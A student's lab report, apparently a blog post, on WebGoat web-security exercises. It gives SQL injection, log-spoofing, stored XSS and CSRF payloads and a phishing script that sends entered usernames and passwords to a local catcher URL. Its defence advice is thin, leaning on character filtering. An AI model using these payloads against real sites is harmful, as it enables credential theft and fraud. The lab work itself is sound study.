1.实验后回答问题

(1)SQL注入攻击原理,如何防御

  • 原理:通过构建特殊的输入作为参数传入web应用程序。即把SQL命令注入到Web表单的输入域或页面请求的查询字符串,和之前已经设定好的查询语句构成关联,欺骗服务器执行恶意的SQL命令,从而达到控制读取网页等目的。

  • 防御:对用户输入的参数进行过滤,对输入数据的合法性进行判断(不允许输入特殊字符,如:' 等)。

(2)XSS攻击的原理,如何防御

  • 原理:跨站脚本攻击。构造带有攻击代码的URL,将URL进行包装,被攻击者以为是正常的网页,点击,攻击代码随着html返回到被攻击者浏览器并执行,用户就中招了。
  • 防御:将一些不合理的标签(eg:< > % /)进行过滤;限制用户输入的字符,例如:只允许输入a-z A-Z 0-9

(3)CSRF攻击原理,如何防御

  • 原理:和xss类似,但是CSRF不用“骗取”用户信息,他是利用用户已经登录之前那个网站存储下来的cookie,以中招用户的身份完成一系列非法的操作。
  • 防御:最根本的就是解决cookie问题呗,可以增加验证码,用户每次提交表单都要输入验证码才行!

2.实验总结与体会

知道了为什么注册时不让用特殊符号。以后设计相关网页时也要注意,一定要对用户输入数据的合法性进行判断。太可怕了,一不小心就被攻击...

3.实践过程记录

完成列表



SQL

Blind Numeric SQL Injection(数字型盲注入)

可以输入一个帐号,检测其是否合法。用返回信息(真或假)测试检查数据库中其它条目信息。 

目标是找到 1111222233334444 的pin数值(整型)。

比如我查了101账号是合法的

  • 然后是寻找pin数值

    查找PIN 数值是否大于10000。 

    101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 ); 

    页面显示值是不大于10000的。
  • 一直调整数值,来缩小判断范围,最终得出pin值的大小。

    最后输入的是: 

    101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 ); 



    发现合法 那么直接在框中输入2364即可。

字符串型盲注入(Blind String SQL Injection)

输入一个帐号,检测帐号是否合法。用该返回信息检查数据库中其它条目信息。 

目标是找到字段4321432143214321中pin 的数值(值为字符串)

  • 和上一个类似。

    输入查询语句:

    101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'C' );
  • 这句使用了SUBSTRING 方法,获得pin字符数值的第一个字母,判断它是否比字母“C”小。

    SUBSTRING 的语法是:SUBSTRING(STRING,START,LENGTH)
  • 依此类推,最终答案Jill,提交:

Log Spoofing(日志欺骗)

使用户名admin ,显示“成功登录”。  

操作方法(Solutions)

  • 先试一下我的学号作为用户名,发现用户名后面的信息会在同一行显示。那么之后可以考虑用回车来进行sql注入。

  • 在用户名中输入 %0d%0aLogin Succeeded for username: admin (注:%0d是回车 %0a是换行符)

    就可以实现了

String SQL Injection(字符串型注入)

  • 目标是将所有信用卡信息一起显示出来。

  • 先尝试输一下

  • 注入字符是' or 1=1 -- 原理是用'将字符和之前的截断,后面用永真式1=1,最后是‘--’把之后的内容注释掉

Database Backdoors(数据库后门)

  • 可以先输入101,看一下得到的信息,可以发现没有验证,可以进行sql注入。
  • 101; update employee set salary=10000

    把编号为101的人工资修改成10000(这步我没截图- -后来发现回不去了...)
  • 使用语句,添加后门,把邮箱全改为我学号:

xss

Stored XSS Attacks(保存型XSS攻击)

  • 攻击者写的Xss代码将被直接保存在服务器上,之后所有访问的用户都会中招。

直接在massage框中输入javascrip脚本,即可

<script>alert("xxx")</script>

提交之后,如果再次点击刚刚发布的帖子,就会出现弹框。



Reflected XSS Attacks(反射型XSS)

和上一个类似,在下面文本框中输入 http://www.targetserver.com/search.asp?input= ,服务端会跳转到对应的错误页,如下:

这样www.targetserve.com里的恶意js会被执行。

Phishing with XSS (跨站脚本钓鱼攻击)

  • search框编写前端代码并在输入框中注入这段前端代码
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div> </div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("20145201 Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
  • 按要求输入username password 成功截获

CSRF

Cross Site Request Forgery (CSRF)

  • message里输入这其中,286是网页的scr,900是网页的menu,999999转钱数额

  • 列表中出现刚刚提交的数据

  • 点击代码执行

CSRF Prompt By-Pass

  • 通过邮件的方式进行恶意请求,需要两个iframe模块,如下:
<iframe src="attack?Screen=270&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=270&menu=900&transferFunds=CONFIRM"> </iframe>

20145201李子璇 《网络对抗》 Web安全基础实践的更多相关文章

  1. 20145334赵文豪网络对抗Web安全基础实践

    1.SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的. 对于SQL注入攻击的防范,我觉 ...

  2. 2018-2019 20165221 网络对抗 Exp5 MSF基础

    2018-2019 20165221 网络对抗 Exp5 MSF基础 实践内容: 重点掌握metassploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如ms0 ...

  3. 20145306 网路攻防 web安全基础实践

    20145306 网络攻防 web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 XSS攻击:Stored XSS Attacks.Reflected XSS At ...

  4. 20155324《网络对抗技术》web安全基础实践

    20155324<网络对抗技术>web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 实验问答 SQL注入攻击原理,如何防御 ①SQL注入攻击是攻击者在 ...

  5. 20155326《网络对抗》Web安全基础实践

    20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...

  6. 20145203盖泽双 《网络对抗技术》实践九:Web安全基础实践

    20145203盖泽双 <网络对抗技术>实践九:Web安全基础实践 1.实践目标 1.理解常用网络攻击技术的基本原理. 2.Webgoat下进行相关实验:SQL注入攻击.XSS攻击.CSR ...

  7. 20145236《网络对抗》Exp9 web安全基础实践

    20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或 ...

  8. 20145215《网络对抗》Exp9 Web安全基础实践

    20145215<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...

  9. 20145208 蔡野 《网络对抗》Exp9 web安全基础实践

    20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...

  10. 20145308 《网络对抗》Web安全基础实践 学习总结

    20145308 <网络对抗> Web安全基础实践 学习总结 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 (1)SQL注入攻击原理, ...

随机推荐

  1. 上传文件提示IO Error

    百度查到的解决办法 http://www.wang0214.com/news/466.html 作者:深圳网站建设 原因: Asp.net中,上传文件的默认大小是4096 KB,也就是4M,不过你可以 ...

  2. PHP的函数-----生成随机数、日期时间函数

    常用的函数 [1]   生成随机数 rand(); 例子: echo rand(); 显示结果: 当刷新时,会有不同的数,默认生成随机数.生成随机数不能控制范围. 如果,想要控制在范围之内,就用: e ...

  3. Thinkphp --- 去掉index.php

    这里我使用的面板是宝塔,操作的 apche: 具体的配置可以参考这里: https://www.cnblogs.com/fangziffff123/p/7588782.html 首先是:Thinkph ...

  4. Ext学习系列(1)初识Ext

    Ext 基础页设置: <!-- 最好不要设置的文件头,避免IE的问题 --><html> <!-- 每份有效的HTML应符合标准,为此head标签不能少 -->&l ...

  5. mysql 一对多,多对多

    一对多 一对多与多对一是一个概念,指的是一个实体的某个数据与另外一个实体的多个数据有关联关系. 班级表(一表) 名称 教室 总人数 学科 PHP141115 A814 53 PHP PHP140925 ...

  6. php程序中判断session过期

    我们最常用的是在php程序中设置,如下例程序所示: if(!isset($_SESSION['abc']) || time()-$_SESSION['abc']>60){ $_SESSION[' ...

  7. 04Add.ashx(新增班级)

    04Add.html <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <hea ...

  8. Hadoop讲解

    1.简介 Hadoop是一款开源的大数据通用处理平台,其提供了分布式存储和分布式离线计算,适合大规模数据.流式数据(写一次,读多次),不适合低延时的访问.大量的小文件以及频繁修改的文件. *Hadoo ...

  9. CSS Spritec下载,精灵图,雪碧图,初探之原理、使用

    CSS Spritec下载,精灵图,雪碧图,初探之原理.使用 关于CSS Sprite CSSSprites在国内很多人叫css精灵雪碧图,是一种网页图片应用处理方式.它允许你将一个页面涉及到的所有零 ...

  10. Code Forces 18D Seller Bob(简单DP)

    D. Seller Bob time limit per test 2 seconds memory limit per test 128 megabytes input standard input ...